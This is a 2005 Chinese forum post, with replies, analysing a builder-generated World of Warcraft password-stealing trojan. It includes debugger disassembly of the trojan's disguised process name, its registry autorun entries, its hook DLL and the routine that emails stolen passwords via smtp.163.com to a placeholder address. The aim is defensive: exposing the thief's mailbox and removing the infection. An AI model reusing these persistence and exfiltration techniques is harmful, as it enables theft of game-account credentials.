首页
社区
课程
招聘
跟踪"魔兽游戏"木马的密码发送方式
2005-10-18 15:37 8217

跟踪"魔兽游戏"木马的密码发送方式

2005-10-18 15:37
8217
跟踪"魔兽游戏"木马的密码发送方式
http://skyxnet.blogdriver.com/skyxnet/1009890.html

导读:
如果您的系统不小心感染了某款木马病毒,又不幸的是游戏帐号密码或QQ密码已经被他人盗取.
那么,我们在找出病毒的同时,如果从病毒中找到"种马者"的"联系信息"呢? 如果运气好的话,不仅可以找回丢失的东西,更绝的可以把这些信息交给网络警察,作为举证!!

测试对象: 大陆魔兽木马生成器
测试目的: 跟踪分析所生成的木马的感染系统过程及密码发送方式
测试说明: 我是以测试为目的利用"木马生成器" 生成一个木马程序,共邮箱及密码是虚拟的!目的只在于如此跟踪出木马内部中的有效信息!

病毒激活后,生成svchsot.exe 和 locarxjh.sls ; 注意,前者与正常程序svchost.exe的区别,后者则是 DLL文件! 前者采用加壳,用PEID侦察会

导致PEID的内存访问异常错误而无法探测! 可采用OD进行手工脱壳,脱壳过程较简单,我们先来看看病毒感激活时会有那些动作...

"load"="D:\\WINDOWS\\System32\\svchsot.exe"

病毒首先将自己复制拷贝到%systemRoot%\system32目录下并命名为:svchsot.exe
并多次写入注册表项以实现其启动自动加载的目的,如:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_USERS\S-1-5-21-515967899-162531612-725345543-1003\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load

10001FEA     56              push esi
10001FEB     68 04010000     push 104
10001FF0     50              push eax
10001FF1     FF15 2CA00010   call dword ptr ds:[<&KERNEL32.GetSystemDirectoryA>]   
; kernel32.GetSystemDirectoryA
10001FF7     8D4C24 08       lea ecx,dword ptr ss:[esp+8]
10001FFB     68 CCC10010     push locarxjh.1000C1CC                                
; ASCII "\svchsot.exe"
10002000     51              push ecx
10002001     FF15 18A00010   call dword ptr ds:[<&KERNEL32.lstrcatA>]              
; kernel32.lstrcatA
10002007     8D5424 04       lea edx,dword ptr ss:[esp+4]
1000200B     8BF0            mov esi,eax
1000200D     52              push edx
1000200E     68 06000200     push 20006
10002013     6A 00           push 0
10002015     68 9CC10010     push locarxjh.1000C19C                                
; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
1000201A     68 02000080     push 80000002
1000201F     FF15 08A00010   call dword ptr ds:[<&ADVAPI32.RegOpenKeyExA>]         
; ADVAPI32.RegOpenKeyExA
10002025     85C0            test eax,eax
10002027     74 15           je short locarxjh.1000203E
10002029     8B4424 04       mov eax,dword ptr ss:[esp+4]
1000202D     50              push eax
1000202E     FF15 04A00010   call dword ptr ds:[<&ADVAPI32.RegCloseKey>]           
; ADVAPI32.RegCloseKey

10002832    68 04010000         push 104
10002837    56                  push esi
10002838    6A 01               push 1
1000283A    6A 00               push 0
1000283C    68 44C20010         push locarxjh.1000C244                           
; ASCII "load"
10002841    51                  push ecx
10002842    FF15 00A00010       call dword ptr ds:[<&ADVAPI32.RegSetValueExA>]   
; ADVAPI32.RegSetValueExA

10002042    68 04010000      push 104
10002047    56               push esi
10002048    6A 01            push 1
1000204A    6A 00            push 0
1000204C    68 94C10010      push locarxjh.1000C194                                
; ASCII "foxwow"
10002051    51               push ecx
10002052    FF15 00A00010    call dword ptr ds:[<&ADVAPI32.RegSetValueExA>]        
; ADVAPI32.RegSetValueExA

在 locarxjh.sls 中导出表中含有"新魔兽.dll", 其Function Name为:insthook
那么, 在svchsot.exe中必有调用其功能的过程...

004015A6    3BF4            cmp esi,esp
004015A8    E8 D3080000     call unpacked.00401E80
004015AD    8BF4            mov esi,esp
004015AF    68 50204200     push unpacked.00422050                                
; ASCII "\locarxjh.sls"
004015B4    8D95 E0FEFFFF   lea edx,dword ptr ss:[ebp-120]
004015BA    52              push edx
004015BB    FF15 A4824200   call dword ptr ds:[<&kernel32.lstrcat>]               
; kernel32.lstrcatA
004015C1    3BF4            cmp esi,esp
004015C3    E8 B8080000     call unpacked.00401E80
004015C8    8985 DCFEFFFF   mov dword ptr ss:[ebp-124],eax
004015CE    8D85 E0FEFFFF   lea eax,dword ptr ss:[ebp-120]
004015D4    50              push eax
004015D5    68 C4554200     push unpacked.004255C4                                
; ASCII "D:\WINDOWS\System32\locarxjh.sls"
004015DA    E8 B1070000     call unpacked.00401D90
004015DF    83C4 08         add esp,8
004015E2    8BF4            mov esi,esp
004015E4    6A 00           push 0
004015E6    6A 00           push 0
004015E8    6A 02           push 2
004015EA    6A 00           push 0
004015EC    6A 00           push 0
004015EE    68 00000040     push 40000000
004015F3    68 C4554200     push unpacked.004255C4                                
; ASCII "D:\WINDOWS\System32\locarxjh.sls"
004015F8    FF15 D8824200   call dword ptr ds:[<&kernel32.CreateFileA>]           
; kernel32.CreateFileA

...一直往下走...
当病毒完成了复制、写注册表之后,随即激活位于%systemroot%\system32目录下的svchsot.exe进程,接着进入监控过程中...

0040110D    50              push eax
0040110E    6A 00           push 0
00401110    6A 00           push 0
00401112    FF15 F4834200   call dword ptr ds:[4283F4]                            ; SHELL32.ShellExecuteA
00401118    3BF4            cmp esi,esp
0040111A    E8 610D0000     call svchsot.00401E80
0040111F    B8 01000000     mov eax,1
00401124    E9 96020000     jmp svchsot.004013BF ;Nop

这里修改其跳转, 让其继续往下执行,主要目的是因为我的电脑中根本没有安装“魔兽”的游戏,如果监控不到游戏的存在,当然就不存在盗

取帐号、密码,继而发送出去了...

接着往下走...

004012FB    68 C4554200     push svchsot.004255C4                                 
; ASCII "D:\WINDOWS\System32\locarxjh.sls"
00401300    FF15 BC824200   call dword ptr ds:[4282BC]                           
; kernel32.LoadLibraryA
00401306    3BF4            cmp esi,esp
00401308    E8 730B0000     call svchsot.00401E80
0040130D    A3 BC554200     mov dword ptr ds:[4255BC],eax
00401312    833D BC554200 0>cmp dword ptr ds:[4255BC],0
00401319    75 07           jnz short svchsot.00401322
0040131B    33C0            xor eax,eax
0040131D    E9 9D000000     jmp svchsot.004013BF
00401322    8BF4            mov esi,esp
00401324    68 1C204200     push svchsot.0042201C                                 
; ASCII "insthook"
00401329    8B15 BC554200   mov edx,dword ptr ds:[4255BC]
0040132F    52              push edx
00401330    FF15 34834200   call dword ptr ds:[428334]                           
; kernel32.GetProcAddress
00401336    3BF4            cmp esi,esp
00401338    E8 430B0000     call svchsot.00401E80                                 
; not
0040133D    A3 C0554200     mov dword ptr ds:[4255C0],eax
00401342    8BF4            mov esi,esp
00401344    8D85 C4FCFFFF   lea eax,dword ptr ss:[ebp-33C]
0040134A    50              push eax
0040134B    8B8D 8CFCFFFF   mov ecx,dword ptr ss:[ebp-374]
00401351    51              push ecx
00401352    FF15 C0554200   call dword ptr ds:[4255C0]                           
; locarxjh.insthook ; F7 traceing

进入后

10001000 >  A1 04F10010     mov eax,dword ptr ds:[1000F104]
10001005    85C0            test eax,eax
10001007    75 09           jnz short locarxjh.10001012
10001009    8B4424 04       mov eax,dword ptr ss:[esp+4]
1000100D    A3 04F10010     mov dword ptr ds:[1000F104],eax
10001012    57              push edi
10001013    BF 58F20010     mov edi,locarxjh.1000F258                             
; ASCII "测试@163.com"  ;看到了吗. 这就是用来传递密码的邮箱...
10001018    83C9 FF         or ecx,FFFFFFFF
1000101B    33C0            xor eax,eax
1000101D    F2:AE           repne scas byte ptr es:[edi]
1000101F    F7D1            not ecx
10001021    49              dec ecx
10001022   /0F85 B5000000   jnz locarxjh.100010DD                                 
; 跳转已经实现? 不可以让其跳走!
10001028    8B4C24 0C       mov ecx,dword ptr ss:[esp+C]
1000102C    56              push esi
1000102D    51              push ecx
1000102E    E8 8D050000     call locarxjh.100015C0
;F7进入...
10001033    83C4 04         add esp,4
10001036    B9 40000000     mov ecx,40
1000103B    33C0            xor eax,eax
1000103D    BF 00F00010     mov edi,locarxjh.1000F000                             
; ASCII "D:\WINDOWS\System32\foxmir.sls"

1000108D    8B35 30A00010   mov esi,dword ptr ds:[<&KERNEL32.CreateThread>]
10001093    50              push eax
10001094    50              push eax
10001095    FFD6            call esi
; kernel32.CreateThread ; 创建新线程准备发送了...

跟进1000102E处的CALL后,就可以很清楚的看到这些邮箱信息, 其实,进入后,我们看到此处代码的往上处...

100015C0    55              push ebp
;进入后来到此处.... 往上看代码... 你会发现意想不到的收获...
100015C1    8B6C24 08       mov ebp,dword ptr ss:[esp+8]
100015C5    56              push esi
100015C6    33F6            xor esi,esi
100015C8    B9 14F10010     mov ecx,locarxjh.1000F114                             ; ASCII "Smtp.163.com"

...这就是往上看的代码...

1000151B    B8 BCF20010     mov eax,locarxjh.1000F2BC                             ; ASCII "测试@163.com"
10001520    894C24 20       mov dword ptr ss:[esp+20],ecx
10001524    8B0D 84F50010   mov ecx,dword ptr ds:[1000F584]
1000152A    894424 1C       mov dword ptr ss:[esp+1C],eax
1000152E    894424 14       mov dword ptr ss:[esp+14],eax
10001532    8D9424 E41A0000 lea edx,dword ptr ss:[esp+1AE4]
10001539    8D8424 48010000 lea eax,dword ptr ss:[esp+148]
10001540    894C24 18       mov dword ptr ss:[esp+18],ecx
10001544    8D4C24 0C       lea ecx,dword ptr ss:[esp+C]
10001548    C74424 0C 14F10>mov dword ptr ss:[esp+C],locarxjh.1000F114            ; ASCII "Smtp.163.com"
10001550    C74424 2C 20F30>mov dword ptr ss:[esp+2C],locarxjh.1000F320
10001558    895424 34       mov dword ptr ss:[esp+34],edx
1000155C    C74424 24 18F20>mov dword ptr ss:[esp+24],locarxjh.1000F218           ; ASCII "用户名"
10001564    C74424 28 38F20>mov dword ptr ss:[esp+28],locarxjh.1000F238           ; ASCII "测试密码"
1000156C    C74424 10 58F20>mov dword ptr ss:[esp+10],locarxjh.1000F258           ; ASCII "测试@163.com";邮箱全称
10001574    894424 30       mov dword ptr ss:[esp+30],eax

到此,已经可以了解到“种马者”的盗取密码时的邮箱信息了!

清除此木马:

可以使用您的杀毒软件进行全盘清除,清除病毒体后,系统启动时可能会提示载入该病毒无法加载的问题,其实就是在Load处没有清除这此值。进入以上所提示的键值清除即可!

[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞7
打赏
分享
最新回复 (5)
雪    币: 380
活跃值: (912)
能力值: ( LV9,RANK:770 )
在线值:
发帖
回帖
粉丝
kyc 19 2005-10-18 19:16
2
0
是你写的木马吧
雪    币: 226
活跃值: (115)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
skyXnet 3 2005-10-19 08:53
3
0
TO: KYC

不知道你为什么会有这种说法!?

如果是我写的, 我没有必要这么写出来!

哗众取宠? 根本就没这个意思.

再者,是我写的话, 我会加强对这些敏感字符的隐藏!
绝不会简单地在内存中出现类似字眼!
雪    币: 296
活跃值: (382)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
killl 10 2005-10-19 09:47
4
0
病毒的东西,不敢碰呀。
雪    币: 226
活跃值: (115)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
skyXnet 3 2005-10-19 19:32
5
0
在"虚拟机"中调试病毒或在"已经感染病毒"的系统中调试即可.

另外, 平时注意做好一些重要资料的备份!
雪    币: 279
活跃值: (160)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
pentacleNC 4 2005-10-19 21:06
6
0
不错~~
学习~
游客
登录 | 注册 方可回帖
返回